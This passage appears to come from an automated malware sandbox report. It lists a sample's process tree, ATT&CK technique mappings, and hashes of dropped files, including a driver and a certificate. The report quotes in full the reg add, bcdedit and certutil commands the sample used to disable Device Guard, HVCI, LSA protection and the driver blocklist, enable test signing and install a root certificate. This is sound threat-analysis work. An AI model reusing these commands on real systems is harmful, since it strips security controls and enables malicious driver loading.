    - Modifies registry key
    PID:1788
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v RequirePlatformSecurityFeatures /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4668
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v RequirePlatformSecurityFeatures /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4892
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v HypervisorEnforcedCodeIntegrity /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:472
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v HypervisorEnforcedCodeIntegrity /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3428
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v LsaCfgFlags /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4376
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\DeviceGuard /v LsaCfgFlags /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:684
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5008
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f
    3⤵
    - Boot or Logon Autostart Execution: LSASS Driver
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:3016
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\PolicyManager\default\WindowsHello\Enabled /v value /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:404
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Microsoft\PolicyManager\default\WindowsHello\Enabled /v value /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4184
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\PassportForWork\Biometrics /v Enabled /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4028
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SOFTWARE\Policies\Microsoft\PassportForWork\Biometrics /v Enabled /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2444
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\CI\Config /v VulnerableDriverBlocklistEnable /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3640
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\CI\Config /v VulnerableDriverBlocklistEnable /t REG_DWORD /d 0 /f
    3⤵
    - Modify Registry: Disable Windows Driver Blocklist
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:2776
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy /v VerifiedAndReputablePolicyState /t REG_DWORD /d 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:388
- - C:\Windows\SysWOW64\reg.exe
    reg add HKLM\SYSTEM\CurrentControlSet\Control\CI\Policy /v VerifiedAndReputablePolicyState /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Modifies registry key
    PID:4312
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cmd /c "C:\Users\Admin\AppData\Local\Temp\\_vv_240678156.bat"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4092
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\\_vv_240678156.bat"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4408
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\bcdedit.exe /set hypervisorlaunchtype off
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4972
- - C:\Windows\system32\bcdedit.exe
    C:\Windows\Sysnative\bcdedit.exe /set hypervisorlaunchtype off
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3648
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\bcdedit.exe /set vsmlaunchtype off
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4352
- - C:\Windows\system32\bcdedit.exe
    C:\Windows\Sysnative\bcdedit.exe /set vsmlaunchtype off
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4256
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\bcdedit.exe /set testsigning on
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\system32\bcdedit.exe
    C:\Windows\Sysnative\bcdedit.exe /set testsigning on
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4876
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\certutil.exe -f -addstore Root "C:\Users\Admin\AppData\Local\Temp\_wdkt_240678796_80526.cer"
  2⤵
  - Installs a root certificate to the trusted certificate store
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2196
- - C:\Windows\system32\certutil.exe
    C:\Windows\Sysnative\certutil.exe -f -addstore Root "C:\Users\Admin\AppData\Local\Temp\_wdkt_240678796_80526.cer"
    3⤵
    - Installs a root certificate to the trusted certificate store
    PID:4252
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\certutil.exe -f -addstore TrustedPublisher "C:\Users\Admin\AppData\Local\Temp\_wdkt_240678796_80526.cer"
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1668
- - C:\Windows\system32\certutil.exe
    C:\Windows\Sysnative\certutil.exe -f -addstore TrustedPublisher "C:\Users\Admin\AppData\Local\Temp\_wdkt_240678796_80526.cer"
    3⤵
    - Manipulates Digital Signatures
    PID:1984
- C:\Users\Admin\AppData\Local\Temp\SignGuiPatcher.exe
  "C:\Users\Admin\AppData\Local\Temp\SignGuiPatcher.exe" -apply
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4536
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\Sysnative\shutdown.exe /r /t 0 /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3440
- - C:\Windows\system32\shutdown.exe
    C:\Windows\Sysnative\shutdown.exe /r /t 0 /f
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2948

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3965055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:1276

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

LSASS Driver

T1547.008

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

LSASS Driver

T1547.008

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

SIP and Trust Provider Hijacking

T1553.003

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

SignGuiPatcher.exe

Path C:\Users\Admin\AppData\Local\Temp\SignGuiPatcher.exe
Size 27KB
SHA256 32fc89230f272a47c702b366f4cdba6c37a9bf4a323ab69d8b96effb9809d416
MD5 bf3bab59d74bf6244dbdde2eab294801
SHA1 59419491b377aa43a8ee7333d1599ff9fb6ae104
SHA512 ae9718a73d92778b06988afc95f6ff8a9b002bed543f4da8ab7857c31e520401bd346a31e993155ea808fc8a7d7e4469cabd2285f107924b80205da92df60061
SSDEEP 384:DPysd9jpAZsQ+lNyvo3ugNoovS5uZYreLe+GzXcN7bA4//cuJXp1:DBjpC+QovSKE2Y4/keXb
TLSH
T1ECC20A5AA2F405DAF532A171D9B67326F036F518183147DF83620A5E0F72AC0BB35BAD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bl_240667250_57448.bat

Path C:\Users\Admin\AppData\Local\Temp\_bl_240667250_57448.bat
Size 173B
SHA256 80bde3c431e761d09dc8f68c971a8d2eda30df5def1aaac05654b68dd144377c
MD5 d61e805e03e66239f1fc24be118c0867
SHA1 0dda55ca420d9e93b729d2e7d7f51ac3dbe012c2
SHA512 8a32dc8e9f4dcff375ed7301a363b3364a256e51f6d2776279cf845898c4ae4382b18c359302c3febdc796b336e69394e1458d2660f7bb49c81771da64deac83
TLSH
T18FC0C0431340CCDD1014A01BB0B3C48460F349CB2DC039E0025244E89C504C6FD0B203
MD5 SHA1 SHA512 TLSH

Submit Download

_bl_240667250_57448.txt

Path C:\Users\Admin\AppData\Local\Temp\_bl_240667250_57448.txt
Size 5B
SHA256 b6626dde5feadbb3302a67528088e8f7cf8536de683f152639d3727ac4b24b3a
MD5 a77299bfbf6fc09712da498c168f9e71
SHA1 347ea3c48644143aaf8b8fce49bc8ba817cf953f
SHA512 d803f52c41a271efc811861ae0848a7a892455fb97997cc97503bcedd7ffbb94858e43978cfca0bebf6f0003825079237d465e67e4d905343573913bff22e487
MD5 SHA1 SHA512

Submit Download

_vv_240678156.bat

Path C:\Users\Admin\AppData\Local\Temp\_vv_240678156.bat
Size 71B
SHA256 49b64e4bd70dfae43ad450e97fbec54d480b8cf08bc68b5a67c46c8f07c40043
MD5 e26a6c53e47829674ad05d1b6cabe3d1
SHA1 38f90e74301b206efe8f1a5cfca375ceb7b27658
SHA512 61662b76812d2d92c3875ef2789efb192b919c97c9250defa2e9657e45de0d60f295196d3b105d449f858578d3ef96b5fac8729f08ede58b46c56ea9a1e6282d
TLSH
T1DEA02202808F8F8CC008882382FB808CF0A2088B3AC8EB000382C02888C000FEE8A302
MD5 SHA1 SHA512 TLSH

Submit Download

_vv_240678156.txt

Path C:\Users\Admin\AppData\Local\Temp\_vv_240678156.txt
Size 47B
SHA256 9fea0616868155973e2b5ca5d1524359e47916e8aee14dfad123b533c737ee76
MD5 1a1ea0c1a7df5f91ecd62cda837a3273
SHA1 f358bcfc14b04949db83e04c4e181f526b3fc5f3
SHA512 666a013157c5544ef7ebad000d6a5e0f2b4020bb7e7d8792880b7c35c662b1c710e25a8893f75b8599cba5bb934c18f91a689f0f24c53b287e601475b1ae9f01
MD5 SHA1 SHA512

Submit Download

_wdkt_240678796_80526.cer

Path C:\Users\Admin\AppData\Local\Temp\_wdkt_240678796_80526.cer
Size 792B
SHA256 4ba1a74c97dbbaba1d4b4119d41f5c764791cd568a3c7f6f20a98cdae36fddb6
MD5 f86961a3e60a0c917b1eee487922e374
SHA1 43dbb0d8926febc69b7663673161bc063ed10e04
SHA512 bcc3ea7c9cee6ce3322ebe6b443760a180bf28ed6c3ee1622f94714622d78d72de98b684e1f2f7b50993940ebc1a9cae797672c09b80faeda9d8c256cf413a4f
TLSH
T11F01757D256FB2855D5705505389E70E6872EAC445D14E3ADA3F4054C4C7981EF2F216
MD5 SHA1 SHA512 TLSH

Submit Download

longdiequdong1.sys

Path C:\Windows\Temp\longdiequdong1.sys
Size 459KB
SHA256 c49756369aaf475e649c8c6700f75ac789c19ba479c42dc1e812e108a6446f1e
MD5 17931738f77368a96a6ac26f2a8a4473
SHA1 9ca05709a5bc01c2e51dc7bef14d0f5e53c6023d
SHA512 c1830420f5407baf8d96817f3cb6db7fa50c29905dc91d5535a747d7b207daa755e671aaf2a4b494cba75789e4a3edbf676b288269591f6dc02396607101f8b5
SSDEEP 6144:f6pHp2kyXnUePaeE8+6SKyRXCc8c02DKBDauEEXu1u+Ae6jh6hiEsK8aQ:f2KXUeFEiSKf2DKBDauLNNj4hiEq
TLSH
T19DA45C41E3A516E0E2B2D4788527A327D6F27C281B16D7DF85A0C9662F27BD0ED39F01
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/816-5-0x0000000000400000-0x000000000071B000-memory.dmp

Download

memory/816-12-0x0000000000400000-0x000000000071B000-memory.dmp

Download

memory/816-17-0x0000000000400000-0x000000000071B000-memory.dmp

Download

memory/816-18-0x0000000000400000-0x000000000071B000-memory.dmp

Download

memory/816-19-0x0000000000400000-0x000000000071B000-memory.dmp

Download

memory/816-20-0x0000000000400000-0x000000000071B000-memory.dmp

Download

memory/816-22-0x0000000000400000-0x000000000071B000-memory.dmp

Download

memory/816-0-0x0000000000421000-0x0000000000422000-memory.dmp

Download

memory/816-13-0x0000000000400000-0x000000000071B000-memory.dmp

Download

memory/816-11-0x0000000000400000-0x000000000071B000-memory.dmp

Download

memory/816-29-0x0000000000400000-0x000000000071B000-memory.dmp

Download

memory/816-1-0x0000000003C70000-0x0000000003C9B000-memory.dmp

Download

memory/816-40-0x0000000000400000-0x000000000071B000-memory.dmp

Download

memory/816-41-0x0000000000400000-0x000000000071B000-memory.dmp

Download

memory/816-39-0x0000000000400000-0x000000000071B000-memory.dmp

Download

memory/816-42-0x0000000000400000-0x000000000071B000-memory.dmp

Download

memory/816-45-0x0000000000400000-0x000000000071B000-memory.dmp

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads